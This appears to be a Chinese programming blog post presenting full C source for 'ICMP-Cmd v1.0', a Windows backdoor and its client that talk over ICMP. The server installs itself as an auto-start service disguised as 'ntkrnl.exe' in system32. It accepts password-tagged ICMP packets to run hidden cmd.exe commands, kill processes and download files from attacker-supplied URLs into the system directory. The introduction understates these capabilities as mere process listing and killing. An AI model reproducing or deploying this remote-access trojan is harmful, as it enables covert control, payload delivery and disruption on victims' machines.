ICMP 通讯例子

      代码从网上所得，是一个通过ICMP 协议通讯的例子。 服务器端，注册成为服务，所支持的功能有限，只有list process，以及 stop process ，以及卸载服务器的段所注册的服务。 (可以从代码中看到原作者)

    服务器端代码如下： 

#include  < winsock2.h >
#include  < stdio.h >
#include  < urlmon.h >  
#include  < tlhelp32.h >
// #include "stdafx.h"

#pragma  comment(lib, "Urlmon.lib")
#pragma  comment(lib, "ws2_32.lib")

#define  ICMP_PASSWORD 1234                                             
#define  STATUS_FAILED 0xFFFF
#define  MAX_PACKET 6500
#define  xmalloc(s) HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s))


/*  The IP header  */
typedef  struct  iphdr {
 unsigned  int  h_len: 4 ;  // 4位首部长度
 unsigned  int  version: 4 ;  // IP版本号，4表示IPV4
 unsigned  char  tos;  // 8位服务类型TOS
 unsigned  short  total_len;  // 16位总长度（字节）
 unsigned  short  ident;  // 16位标识
 unsigned  short  frag_and_flags;  // 3位标志位
 unsigned  char  ttl;  // 8位生存时间 TTL
 unsigned  char  proto;  // 8位协议 (TCP, UDP 或其他)
 unsigned  short  checksum;  // 16位IP首部校验和
 unsigned  int  sourceIP;  // 32位源IP地址
 unsigned  int  destIP;  // 32位目的IP地址
}IpHeader;


// 定义ICMP首部
typedef  struct  _ihdr 
{
 BYTE i_type;  // 8位类型
 BYTE i_code;  // 8位代码
 USHORT i_cksum;  // 16位校验和 
 USHORT i_id;  // 识别号（一般用进程号作为识别号）
 USHORT i_seq;  // 报文序列号 
 ULONG timestamp;  // 时间戳
}IcmpHeader;

char  arg[ 256 ];
char  buffer[ 2048 ]  =  { 0 }; // 管道输出的数据
void  decode_resp( char   * , int  , struct  sockaddr_in  * ); // ICMP解包函数
void  fill_icmp_data( char   *  icmp_data);
void  pslist( void );
BOOL killps(DWORD id); // 杀进程函数
void  send( void );
char   * ICMP_DEST_IP;
USHORT checksum(USHORT  * buffer,  int  size);

 

HANDLE                hMutex;
SERVICE_STATUS        ServiceStatus;
SERVICE_STATUS_HANDLE ServiceStatusHandle;

void   WINAPI ICMP_CmdStart(DWORD,LPTSTR  * );
void   WINAPI CmdControl(DWORD);
DWORD WINAPI CmdService(LPVOID);
void   InstallCmdService( void );
void   RemoveCmdService( void );
void   usage( char   * par);

int  main( int  argc, char   * argv[])
{
#if  0
 SERVICE_TABLE_ENTRY DispatchTable[] = {{ " ntkrnl " ,ICMP_CmdStart},{NULL,NULL}};

  if (argc == 2 )
 {
   if ( ! stricmp(argv[ 1 ], " -install " ))
  {
   usage(argv[ 0 ]);
   InstallCmdService();
  }
   else   if ( ! stricmp(argv[ 1 ], " -remove " ))
  {
   usage(argv[ 0 ]);
   RemoveCmdService();
  }
   else  usage(argv[ 0 ]);
   return   0 ;
 }
  else  usage(argv[ 0 ]);

 


 StartServiceCtrlDispatcher(DispatchTable);
#endif
 CmdService( 0 );
  return   0 ;
}

void  WINAPI ICMP_CmdStart(DWORD dwArgc,LPTSTR  * lpArgv)
{
 HANDLE    hThread;

 ServiceStatus.dwServiceType              =  SERVICE_WIN32;
 ServiceStatus.dwCurrentState             =  SERVICE_START_PENDING;
 ServiceStatus.dwControlsAccepted         =  SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;
 ServiceStatus.dwServiceSpecificExitCode  =   0 ;
 ServiceStatus.dwWin32ExitCode            =   0 ;
 ServiceStatus.dwCheckPoint               =   0 ;
 ServiceStatus.dwWaitHint                 =   0 ;

 ServiceStatusHandle = RegisterServiceCtrlHandler( " ntkrnl " ,CmdControl);
  if (ServiceStatusHandle == 0 )
 {
  OutputDebugString( " RegisterServiceCtrlHandler Error ! " );
   return  ;
 }

 ServiceStatus.dwCurrentState  =  SERVICE_RUNNING;
 ServiceStatus.dwCheckPoint    =   0 ;
 ServiceStatus.dwWaitHint      =   0 ;

  if (SetServiceStatus(ServiceStatusHandle, & ServiceStatus) == 0 )
 {
  OutputDebugString( " SetServiceStatus in CmdStart Error ! " );
   return  ;
 }

 hThread = CreateThread(NULL, 0 ,CmdService,NULL, 0 ,NULL);
  if (hThread == NULL)
 {
  OutputDebugString( " CreateThread in CmdStart Error ! " );
 }

  return  ;
}

void  WINAPI CmdControl(DWORD dwCode)
{
  switch (dwCode)
 {
  case  SERVICE_CONTROL_PAUSE:
  ServiceStatus.dwCurrentState  =  SERVICE_PAUSED;
   break ;

  case  SERVICE_CONTROL_CONTINUE:
  ServiceStatus.dwCurrentState  =  SERVICE_RUNNING;
   break ;

  case  SERVICE_CONTROL_STOP:      
  WaitForSingleObject(hMutex,INFINITE);

  ServiceStatus.dwCurrentState   =  SERVICE_STOPPED;
  ServiceStatus.dwWin32ExitCode  =   0 ;
  ServiceStatus.dwCheckPoint     =   0 ;
  ServiceStatus.dwWaitHint       =   0 ;
   if (SetServiceStatus(ServiceStatusHandle, & ServiceStatus) == 0 )
  {
   OutputDebugString( " SetServiceStatus in CmdControl in Switch Error ! " );
  }

  ReleaseMutex(hMutex);
  CloseHandle(hMutex);
   return  ;

  case  SERVICE_CONTROL_INTERROGATE:
   break ;

  default :
   break ;
 }

  if (SetServiceStatus(ServiceStatusHandle, & ServiceStatus) == 0 )
 {
  OutputDebugString( " SetServiceStatus in CmdControl out Switch Error ! " );
 }

  return  ;
}

DWORD WINAPI CmdService(LPVOID lpParam) // 这里是服务的主函数，把你的代码写在这里就可以成为服务
{   
  char   * icmp_data;
  int  bread,datasize,retval;
 SOCKET sockRaw  =  (SOCKET)NULL;
 WSADATA wsaData;
  struct  sockaddr_in dest,from;
  int  fromlen  =   sizeof (from);
  int  timeout  =   2000 ;
  char   * recvbuf;

 

  if  ((retval  =  WSAStartup(MAKEWORD( 2 , 1 ), & wsaData))  !=   0 )
 {
  printf( " WSAStartup failed: %s " ,retval);
  ExitProcess(STATUS_FAILED);
 }

 sockRaw  =  WSASocket (AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL, 0 ,WSA_FLAG_OVERLAPPED);
  if  (sockRaw  ==  INVALID_SOCKET)
 {
  printf( " WSASocket() failed: %s " ,WSAGetLastError());
  ExitProcess(STATUS_FAILED);
 }
 __try{
  bread  =  setsockopt(sockRaw,SOL_SOCKET,SO_RCVTIMEO,( char * ) & timeout, sizeof (timeout));

   if (bread  ==  SOCKET_ERROR) __leave;


  memset( & dest, 0 , sizeof (dest));
  dest.sin_family  =  AF_INET;
  datasize = 0 ;
  datasize  +=   sizeof (IcmpHeader); 
  icmp_data  = ( char * )xmalloc(MAX_PACKET);
  recvbuf  =  ( char * )xmalloc(MAX_PACKET);
   if  ( ! icmp_data) {
    // fprintf(stderr,"HeapAlloc failed %d ",GetLastError());
   __leave;
  }
  memset(icmp_data, 0 ,MAX_PACKET);
   for (;;) {

    int  bwrote;
   bwrote  =  sendto(sockRaw,icmp_data,datasize, 0 ,( struct  sockaddr * ) & dest, sizeof (dest));

   bread  =  recvfrom(sockRaw,recvbuf,MAX_PACKET, 0 ,( struct  sockaddr * ) & from, & fromlen);
    if  (bread  ==  SOCKET_ERROR)
   {
     if  (WSAGetLastError()  ==  WSAETIMEDOUT) continue ;

    __leave;

   }
   decode_resp(recvbuf,bread, & from);
   Sleep( 200 );
   memset(recvbuf, 0 , sizeof (recvbuf));
  }
 }
 __finally {
   if  (sockRaw  !=  INVALID_SOCKET) closesocket(sockRaw);
  WSACleanup();
 }
  return   0 ;
}

 


void  InstallCmdService( void )
{
 SC_HANDLE        schSCManager;
 SC_HANDLE        schService;
  char              lpCurrentPath[MAX_PATH];
  char              lpImagePath[MAX_PATH];
  char               * lpHostName;
 WIN32_FIND_DATA  FileData;
 HANDLE           hSearch;
 DWORD            dwErrorCode;
 SERVICE_STATUS   InstallServiceStatus;


 GetSystemDirectory(lpImagePath,MAX_PATH);
 strcat(lpImagePath, " /ntkrnl.exe " );
 lpHostName = NULL;

 printf( " Transmitting File ...  " );
 hSearch = FindFirstFile(lpImagePath, & FileData);
  if (hSearch == INVALID_HANDLE_VALUE)
 {
  GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);
   if (CopyFile(lpCurrentPath,lpImagePath,FALSE) == 0 ) 
  {
   dwErrorCode = GetLastError();
    if (dwErrorCode == 5 )
   {
    printf( " Failure ... Access is Denied ! " );         
   }
    else
   {
    printf( " Failure ! " );
   }
    return  ;
  }
   else
  {
   printf( " Success ! " );
  }
 }
  else
 {
  printf( " already Exists ! " );
  FindClose(hSearch);
 }

 schSCManager = OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
  if (schSCManager == NULL)
 {
  printf( " Open Service Control Manager Database Failure ! " );
   return  ;
 }

 printf( " Creating Service ....  " );
 schService = CreateService(schSCManager, " ntkrnl " , " ntkrnl " ,SERVICE_ALL_ACCESS,
  SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,
  SERVICE_ERROR_IGNORE, " ntkrnl.exe " ,NULL,NULL,NULL,NULL,NULL); 
  if (schService == NULL)
 {
  dwErrorCode = GetLastError();
   if (dwErrorCode != ERROR_SERVICE_EXISTS)
  {
   printf( " Failure ! " );
   CloseServiceHandle(schSCManager);
    return  ;
  }
   else
  {
   printf( " already Exists ! " );
   schService = OpenService(schSCManager, " ntkrnl " ,SERVICE_START);
    if (schService == NULL)
   {
    printf( " Opening Service .... Failure ! " );
    CloseServiceHandle(schSCManager);
     return  ;
   }
  }
 }
  else
 {
  printf( " Success ! " );
 }

 printf( " Starting Service ....  " );
  if (StartService(schService, 0 ,NULL) == 0 )                         
 {
  dwErrorCode = GetLastError();
   if (dwErrorCode == ERROR_SERVICE_ALREADY_RUNNING)
  {
   printf( " already Running ! " );
   CloseServiceHandle(schSCManager);  
   CloseServiceHandle(schService);
    return  ;
  }
 }
  else
 {
  printf( " Pending ...  " );
 }

  while (QueryServiceStatus(schService, & InstallServiceStatus) != 0 )           
 {
   if (InstallServiceStatus.dwCurrentState == SERVICE_START_PENDING)
  {
   Sleep( 100 );
  }
   else
  {
    break ;
  }
 }
  if (InstallServiceStatus.dwCurrentState != SERVICE_RUNNING)
 {
  printf( " Failure ! " );                       
 }
  else
 {
  printf( " Success ! " );
 }

 CloseServiceHandle(schSCManager);
 CloseServiceHandle(schService);
  return  ;
}

void  RemoveCmdService( void ) 
{
 SC_HANDLE        schSCManager;
 SC_HANDLE        schService;
  char              lpImagePath[MAX_PATH];
  char               * lpHostName;
 WIN32_FIND_DATA  FileData;
 SERVICE_STATUS   RemoveServiceStatus;
 HANDLE           hSearch;
 DWORD            dwErrorCode;


 GetSystemDirectory(lpImagePath,MAX_PATH);
 strcat(lpImagePath, " /ntkrnl.exe " );
 lpHostName = NULL;


 schSCManager = OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);
  if (schSCManager == NULL)
 {
  printf( " Opening SCM .........  " );
  dwErrorCode = GetLastError();
   if (dwErrorCode != 5 )
  {
   printf( " Failure ! " ); 
  }
   else
  {
   printf( " Failuer ... Access is Denied ! " );
  }
   return  ;
 }

 schService = OpenService(schSCManager, " ntkrnl " ,SERVICE_ALL_ACCESS);
  if (schService == NULL) 
 {
  printf( " Opening Service .....  " );
  dwErrorCode = GetLastError();
   if (dwErrorCode == 1060 )
  {
   printf( " no Exists ! " );
  }
   else
  {
   printf( " Failure ! " );
  }
  CloseServiceHandle(schSCManager);
 }
  else
 {
  printf( " Stopping Service ....  " );
   if (QueryServiceStatus(schService, & RemoveServiceStatus) != 0 )
  {
    if (RemoveServiceStatus.dwCurrentState == SERVICE_STOPPED)
   {
    printf( " already Stopped ! " ); 
   }
    else
   {
    printf( " Pending ...  " );
     if (ControlService(schService,SERVICE_CONTROL_STOP, & RemoveServiceStatus) != 0 )
    {
      while (RemoveServiceStatus.dwCurrentState == SERVICE_STOP_PENDING)         
     {
      Sleep( 10 );
      QueryServiceStatus(schService, & RemoveServiceStatus);
     }
      if (RemoveServiceStatus.dwCurrentState == SERVICE_STOPPED)
     {
      printf( " Success ! " );
     }
      else
     {
      printf( " Failure ! " );
     }
    }
     else
    {
     printf( " Failure ! " );          
    }
   }
  }
   else
  {
   printf( " Query Failure ! " );
  }

  printf( " Removing Service ....  " );     
   if (DeleteService(schService) == 0 )
  {
   printf( " Failure ! " );   
  }
   else
  {
   printf( " Success ! " );
  }
 }

 CloseServiceHandle(schSCManager);        
 CloseServiceHandle(schService);

 printf( " Removing File .......  " );
 Sleep( 1500 );
 hSearch = FindFirstFile(lpImagePath, & FileData);
  if (hSearch == INVALID_HANDLE_VALUE)
 {
  printf( " no Exists ! " );
 }
  else
 {
   if (DeleteFile(lpImagePath) == 0 )
  {
   printf( " Failure ! " );               
  }
   else
  {
   printf( " Success ! " );
  }
  FindClose(hSearch);
 }

  return  ;
}

void  decode_resp( char   * buf,  int  bytes, struct  sockaddr_in  * from) 
{


 IpHeader  * iphdr;
 IcmpHeader  * icmphdr;
 unsigned  short  iphdrlen;
 iphdr  =  (IpHeader  * )buf;
 iphdrlen  =  iphdr -> h_len  *   4  ; 
 icmphdr  =  (IcmpHeader * )(buf  +  iphdrlen);
  if (icmphdr -> i_seq == ICMP_PASSWORD) // 密码正确则输出数据段
 {

  ICMP_DEST_IP = inet_ntoa(from -> sin_addr); // 取得ICMP包的源地址

  memcpy(arg,buf + iphdrlen + 12 , 256 );
   if  ( ! memcmp(arg, " pskill " , 6 ))
  {
   killps(atoi(strstr(arg, "   " )));
   memcpy(buffer, " Process is Killed! " , sizeof ( " Process is Killed! " ));
   send();
  }

 

   else   if  ( ! memcmp(arg, " pslist " , 6 )){pslist();send();}
   else   if  ( ! strcmp(arg, " remove " ))
  {
   RemoveCmdService();
   memcpy(buffer, " Service Removed! " , sizeof ( " Service Removed! " ));
   send();
    return ;
  }
   ************    http下载   *************
   else   if  ( ! memcmp(arg, " http:// " , 7 ))   
  {
    if ( char   * FileName = strstr(arg, " - " ))
   {

     char  url[ 200 ]; // 保存网址的数组
    memset(url, 0 , 200 );
    memcpy(url,arg, int (FileName - arg - 1 ));
     char  fname[MAX_PATH];
    GetSystemDirectory(fname,MAX_PATH);
    FileName ++ ;
    strcat(fname, " / " );
    strcat(fname,FileName);
     * strstr(fname, " " ) = NULL;
    HRESULT hRet = URLDownloadToFile( 0 ,url,fname, 0 , 0 );
    memset(buffer, 0 , sizeof (buffer));
     if (hRet == S_OK) memcpy(buffer, " Download OK! " , sizeof ( " Download OK " ));
     else  
     memcpy(buffer, " Download Failure! " , sizeof ( " Download Failure! " ));
    send();
     return ;
   }
  }
   // *******************************************
   else {

   SECURITY_ATTRIBUTES sa; // 创建匿名管道用于取得cmd的命令输出
   HANDLE hRead,hWrite;
   sa.nLength  =   sizeof (SECURITY_ATTRIBUTES);
   sa.lpSecurityDescriptor  =  NULL;
   sa.bInheritHandle  =  TRUE;
    if  ( ! CreatePipe( & hRead, & hWrite, & sa, 0 )) 
   {
    printf( " Error On CreatePipe() " );
     return ;
   } 


   STARTUPINFO si;
   PROCESS_INFORMATION pi; 
   si.cb  =   sizeof (STARTUPINFO);
   GetStartupInfo( & si); 
   si.hStdError  =  hWrite;
   si.hStdOutput  =  hWrite;
   si.wShowWindow  =  SW_HIDE;
   si.dwFlags  =  STARTF_USESHOWWINDOW  |  STARTF_USESTDHANDLES;

    char  cmdline[ 270 ];
   GetSystemDirectory(cmdline,MAX_PATH + 1 );

   strcat(cmdline, " /cmd.exe /c " );

   strcat(cmdline,arg);
    if  ( ! CreateProcess(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL, & si, & pi)) 
   {
    printf( " Error on CreateProcess() " );
     return ;
   }
   CloseHandle(hWrite);


   DWORD bytesRead; 

    for (;;){
     if  ( ! ReadFile(hRead,buffer, 2048 , & bytesRead,NULL)) break ;
    Sleep( 200 );
   }
    // printf("%s",buffer);
    /
    // 发送输出数据

   send();

  }
  


 }
  // else printf("Other ICMP Packets! ");
  // printf(endl; 
}

 


USHORT checksum(USHORT  * buffer,  int  size) 
{
 unsigned  long  cksum = 0 ;
  while (size  > 1 ) 
 {
  cksum +=* buffer ++ ;
  size  -= sizeof (USHORT);
 }
  if (size ) {
  cksum  +=   * (UCHAR * )buffer;
 }
 cksum  =  (cksum  >>   16 )  +  (cksum  &   0xffff );
 cksum  +=  (cksum  >> 16 );
  return  (USHORT)( ~ cksum);
}


void  fill_icmp_data( char   *  icmp_data)
{

 IcmpHeader  * icmp_hdr;
  char   * datapart;
 icmp_hdr  =  (IcmpHeader * )icmp_data;
 icmp_hdr -> i_type  =   0 ;
 icmp_hdr -> i_code  =   0 ;
 icmp_hdr -> i_id  =  (USHORT) GetCurrentProcessId();
 icmp_hdr -> i_cksum  =   0 ;
 icmp_hdr -> i_seq  = 4321 ;
 icmp_hdr -> timestamp  =  GetTickCount();  // 设置时间戳
 datapart  =  icmp_data  +   sizeof (IcmpHeader);
 memcpy(datapart,buffer,strlen(buffer));
  // for(int i=0;i<sizeof(buffer);i++) datapart[i]=buffer[i]; 
}

void   usage( char   * par)
{

 printf( " =====Welcome to www.hackerxfiles.net====== " );
 printf( " " );
 printf( " ---[ ICMP-Cmd v1.0 beta, by gxisone   ]--- " );
 printf( " ---[ E-mail: gxisone@hotmail.com      ]--- " );
 printf( " ---[                        2003/8/15 ]--- " );
 printf( " " );
 printf( " Usage: %s -install (to install service) " ,par);
 printf( "        %s -remove (to remove service) " ,par);
 printf( " " );

  return  ;


}

void  send( void )
{

 WSADATA wsaData;
 SOCKET sockRaw  =  (SOCKET)NULL;
  struct  sockaddr_in dest;
  int  bread,datasize,retval,bwrote;
  int  timeout  =   1000 ;
  char   * icmp_data;

  if ((retval = WSAStartup(MAKEWORD( 2 , 1 ), & wsaData))  !=   0 ) ExitProcess(STATUS_FAILED);
  if ((sockRaw = WSASocket(AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL, 0 ,WSA_FLAG_OVERLAPPED))
   == INVALID_SOCKET) ExitProcess(STATUS_FAILED);
 __try
 {
   if ((bread = setsockopt(sockRaw,SOL_SOCKET,SO_SNDTIMEO,( char * ) & timeout, sizeof (timeout))) == SOCKET_ERROR) __leave;
   // 设置发送超时
  memset( & dest, 0 , sizeof (dest));
  dest.sin_family  =  AF_INET;
  dest.sin_addr.s_addr  =  inet_addr(ICMP_DEST_IP);
  datasize = strlen(buffer);
  datasize += sizeof (IcmpHeader); 
  icmp_data = ( char * )xmalloc(MAX_PACKET);

   if ( ! icmp_data) __leave;
  memset(icmp_data, 0 ,MAX_PACKET);

  fill_icmp_data(icmp_data);  // 填充ICMP报文
  ((IcmpHeader * )icmp_data) -> i_cksum  =  checksum((USHORT * )icmp_data, datasize);  // 计算校验和
  bwrote = sendto(sockRaw,icmp_data,datasize, 0 ,( struct  sockaddr * ) & dest, sizeof (dest));  // 发送报文

   if  (bwrote  ==  SOCKET_ERROR)
  {
    // if (WSAGetLastError() == WSAETIMEDOUT) printf("Timed out ");
    // printf("sendto failed:"<<WSAGetLastError()<<endl;
   __leave;
  }

   // printf("Send Packet to %s Success! "<<ICMP_DEST_IP<<endl;
 }


 __finally 
 {
   if  (sockRaw  !=  INVALID_SOCKET) closesocket(sockRaw);
  WSACleanup();
 }
 memset(buffer, 0 , sizeof (buffer));
 Sleep( 200 );

}

void  pslist( void )
{
 HANDLE hProcessSnap  =  NULL;
 PROCESSENTRY32 pe32 =  { 0 };
 hProcessSnap  =  CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,  0 );
  if  (hProcessSnap  ==  (HANDLE) - 1 )
 {
  printf( " CreateToolhelp32Snapshot() failed:%d " ,GetLastError());
   return  ;
 }
 pe32.dwSize  =   sizeof (PROCESSENTRY32);
 printf( " ProcessName　　　　 ProcessID " );
  if  (Process32First(hProcessSnap,  & pe32))
 {
   char  a[ 5 ];

   do
  {
   strcat(buffer,pe32.szExeFile);
   strcat(buffer, " " );
   itoa(pe32.th32ProcessID,a, 10 );
   strcat(buffer,a);
   strcat(buffer, " " );
    // printf(" %-20s%d",pe32.szExeFile,pe32.th32ProcessID);
  }
   while  (Process32Next(hProcessSnap,  & pe32));

 }
  else
 {
  printf( " Process32Firstt() failed:%d " ,GetLastError());
 }
 CloseHandle (hProcessSnap);
  return ;
}

BOOL SetPrivilege(HANDLE hToken,LPCTSTR lpszPrivilege,BOOL bEnablePrivilege) // 提示权限
{
 TOKEN_PRIVILEGES tp;
 LUID luid;

  if ( ! LookupPrivilegeValue(NULL,lpszPrivilege, & luid))
 {
  printf( " LookupPrivilegeValue error:%d " , GetLastError() ); 
   return  FALSE; 
 }
 tp.PrivilegeCount  =   1 ;
 tp.Privileges[ 0 ].Luid  =  luid;
  if  (bEnablePrivilege)
  tp.Privileges[ 0 ].Attributes  =  SE_PRIVILEGE_ENABLED;
  else
  tp.Privileges[ 0 ].Attributes  =   0 ;
  //  Enable the privilege or disable all privileges.
 AdjustTokenPrivileges(
  hToken, 
  FALSE, 
   & tp, 
   sizeof (TOKEN_PRIVILEGES), 
  (PTOKEN_PRIVILEGES) NULL, 
  (PDWORD) NULL); 
  //  Call GetLastError to determine whether the function succeeded.
  if  (GetLastError()  !=  ERROR_SUCCESS) 
 { 
  printf( " AdjustTokenPrivileges failed: %u " , GetLastError() ); 
   return  FALSE; 
 } 
  return  TRUE;
}
/// /
BOOL killps(DWORD id) // 杀进程函数
{
 HANDLE hProcess = NULL,hProcessToken = NULL;
 BOOL IsKilled = FALSE,bRet = FALSE;
 __try
 {

   if ( ! OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS, & hProcessToken))
  {
   printf( " Open Current Process Token failed:%d " ,GetLastError());
   __leave;
  }
   // printf(" Open Current Process Token ok!");
   if ( ! SetPrivilege(hProcessToken,SE_DEBUG_NAME,TRUE))
  {
   __leave;
  }
  printf( " SetPrivilege ok! " );

   if ((hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,id)) == NULL)
  {
   printf( " Open Process %d failed:%d " ,id,GetLastError());
   __leave;
  }
   // printf(" Open Process %d ok!",id);
   if ( ! TerminateProcess(hProcess, 1 ))
  {
   printf( " TerminateProcess failed:%d " ,GetLastError());
   __leave;
  }
  IsKilled = TRUE;
 }
 __finally
 {
   if (hProcessToken != NULL) CloseHandle(hProcessToken);
   if (hProcess != NULL) CloseHandle(hProcess);
 }
  return (IsKilled);
}

 

   上面代码是服务器端，client 段的代码很简单：

#include  < winsock2.h >
#include  < stdio.h >
#include  < stdlib.h >  

#pragma  comment(lib,"ws2_32.lib")

char  SendMsg[ 256 ];

/*  The IP header  */
typedef  struct  iphdr {
unsigned  int  h_len: 4 ;  // 4位首部长度
unsigned  int  version: 4 ;  // IP版本号，4表示IPV4
unsigned  char  tos;  // 8位服务类型TOS
unsigned  short  total_len;  // 16位总长度（字节）
unsigned  short  ident;  // 16位标识
unsigned  short  frag_and_flags;  // 3位标志位
unsigned  char  ttl;  // 8位生存时间 TTL
unsigned  char  proto;  // 8位协议 (TCP, UDP 或其他)
unsigned  short  checksum;  // 16位IP首部校验和
unsigned  int  sourceIP;  // 32位源IP地址
unsigned  int  destIP;  // 32位目的IP地址
}IpHeader;

 


typedef  struct  _ihdr
{
BYTE i_type; // 8位类型
BYTE i_code;  // 8位代码
USHORT i_cksum; // 16位校验和
USHORT i_id; // 识别号（一般用进程号作为识别号）
USHORT i_seq; // 报文序列号
ULONG timestamp; // 时间截
} IcmpHeader;

#define  STATUS_FAILED 0xFFFF
  
#define  MAX_PACKET 2000
char  arg[ 1450 ];

#define  xmalloc(s) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (s))


void  fill_icmp_data( char   * ,  int );
USHORT checksum(USHORT  * ,  int );

void  decode_resp( char   * , int  , struct  sockaddr_in  * ); // ICMP解包函数
void  help( void );
void  usage( char   *  prog);

int  main( int  argc,  char   * argv[])
{
char   * ICMP_DEST_IP;  // 目标主机的IP
char   * recvbuf;

if (argc != 2 )
 {
  usage(argv[ 0 ]);
   return   0 ;
 }

ICMP_DEST_IP = argv[ 1 ]; // 取得目标主机IP
WSADATA wsaData;
SOCKET sockRaw;
struct  sockaddr_in dest,from;
int  datasize;
int  fromlen = sizeof (from);

char   * icmp_data;

 


if (WSAStartup(MAKEWORD( 2 ,  2 ),  & wsaData)  !=   0 )
{
fprintf(stderr,  " WSAStartup failed: %d " , GetLastError());
ExitProcess(STATUS_FAILED);
}
sockRaw = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
int  timeout = 1000 ;
setsockopt(sockRaw, SOL_SOCKET, SO_SNDTIMEO, ( char   * )  & timeout,  sizeof (timeout));
timeout = 4000 ;
setsockopt(sockRaw, SOL_SOCKET, SO_RCVTIMEO, ( char   * )  & timeout,  sizeof (timeout));
memset( & dest, 0 , sizeof (dest));
dest.sin_addr.s_addr = inet_addr(ICMP_DEST_IP);
dest.sin_family = AF_INET;

usage(argv[ 0 ]);
__try{
for (;;){

printf( " ICMP-CMD> " );
fgets(SendMsg, 1024 ,stdin); // 取得命令行，保存在SendMsg数组中

if ( ! strcmp(SendMsg, " Q " ) ||! strcmp(SendMsg, " q " ))ExitProcess( 0 );
if ( ! strcmp(SendMsg, " " )) continue ;
if ( ! strcmp(SendMsg, " H " ) ||! strcmp(SendMsg, " h " )){help(); continue ;}
if ( ! memcmp(SendMsg, " http:// " , 7 ))
if ( ! strstr(SendMsg, " - " )){printf( " FileName Error. Use "-FileName" " ); continue ;}

datasize = strlen(SendMsg);
datasize += sizeof (IcmpHeader);
printf( " ICMP packet size is %d " ,datasize);
icmp_data =  ( char * )xmalloc(MAX_PACKET);
recvbuf =  ( char   * )xmalloc(MAX_PACKET);
memset(icmp_data, 0 , MAX_PACKET);
fill_icmp_data(icmp_data, datasize);
((IcmpHeader  * )icmp_data) -> i_cksum = 0 ;
((IcmpHeader  * )icmp_data) -> i_cksum = checksum((USHORT  * )icmp_data, datasize);

int  bwrote = sendto(sockRaw, icmp_data, datasize,  0 , ( struct  sockaddr  * )  & dest,  sizeof (dest));

if  (bwrote  ==  SOCKET_ERROR)
{
if  (WSAGetLastError()  ==  WSAETIMEDOUT) printf( " Timed out " );
fprintf(stderr, " sendto failed: %d " ,WSAGetLastError());

}

   if  (bwrote < datasize ) { // 没有把所有的数据发送出去，也出错了。

          return   0 ;

       }

printf( " Send Packet to %s Success! " ,argv[ 1 ]);

DWORD start  =  GetTickCount();
for (;;){

if ((GetTickCount()  -  start)  >=   1000 )  break ;
memset(recvbuf, 0 ,MAX_PACKET);
int  bread = recvfrom(sockRaw, recvbuf, MAX_PACKET,  0 , ( struct  sockaddr  * )  & from,  & fromlen);
if (bread  ==  SOCKET_ERROR)
{
if (WSAGetLastError()  ==  WSAETIMEDOUT)
{
printf( " timed out " );
break ;
}

fprintf(stderr,  " recvfrom failed: %d " , WSAGetLastError());
break ;
}

decode_resp(recvbuf, bread,  & from);
}
} // end for

} // end try

 


__finally
{
if  (sockRaw  !=  INVALID_SOCKET) closesocket(sockRaw);
WSACleanup();
}

return   0 ;
}


USHORT checksum(USHORT  * buffer,  int  size)
{
unsigned  long  cksum = 0 ;

while (size  >   1 )
{
cksum +=* buffer ++ ;
size -= sizeof (USHORT);
}

if (size)
{
cksum +=* (UCHAR  * )buffer;
}

cksum = (cksum  >>   16 )  +  (cksum  &   0xffff );
cksum += (cksum  >>   16 );
return (USHORT) ( ~ cksum);
}
void  fill_icmp_data( char   * icmp_data,  int  datasize)
{
IcmpHeader  * icmp_hdr;
char   * datapart;
icmp_hdr =  (IcmpHeader  * )icmp_data;
icmp_hdr -> i_type = 0 ;
icmp_hdr -> i_code = 0 ;
icmp_hdr -> i_id = (USHORT)GetCurrentProcessId();
icmp_hdr -> timestamp  = GetTickCount();
icmp_hdr -> i_seq = 1234 ;
datapart = icmp_data  +   sizeof (IcmpHeader);
memcpy(datapart,SendMsg, sizeof (SendMsg));

} 

void  usage( char   *  prog)
{
 printf( " =====Welcome to www.hackerxfiles.net====== " );
 printf( " " );
    printf( " ---[ ICMP-Cmd v1.0 beta, by gxisone   ]--- " );
 printf( " ---[ E-mail:    gxisone@hotmail.com   ]--- " );
 printf( " ---[                      2003/8/15   ]--- " );
 printf( " usage: %s RemoteIP " ,prog);
 printf( " Ctrl+C or Q/q to Quite        H/h for help " );
}

 


void  decode_resp( char   * buf,  int  bytes, struct  sockaddr_in  * from) 
{
memset(arg, 0 , sizeof (arg));
IpHeader  * iphdr;
IcmpHeader  * icmphdr;
unsigned  short  iphdrlen;
iphdr  =  (IpHeader  * )buf;
iphdrlen  =  iphdr -> h_len  *   4  ; 
icmphdr  =  (IcmpHeader * )(buf  +  iphdrlen);
if (icmphdr -> i_seq == 4321 ) // 密码正确则输出数据段
{
printf( " %d bytes from %s: " ,bytes, inet_ntoa(from -> sin_addr));
printf( "  IcmpType %d " ,icmphdr -> i_type);
printf( "  IcmpCode %d " ,icmphdr -> i_code);
printf( " " );
memcpy(arg,buf + iphdrlen + 12 , 1450 );
printf( " %s " ,arg);
}

else  printf( " Other ICMP Packets! " );

}

void  help( void )
{
 printf( " " );
 printf( " [http://127.0.0.1/hack.exe -admin.exe]  (Download Files. Parth is //system32) " );
 printf( " [pslist]        (List the Process) " );
 printf( " [pskill ID]     (Kill the Process) " );
 printf( " Command         (run the command) " ); 
 printf( " " );
}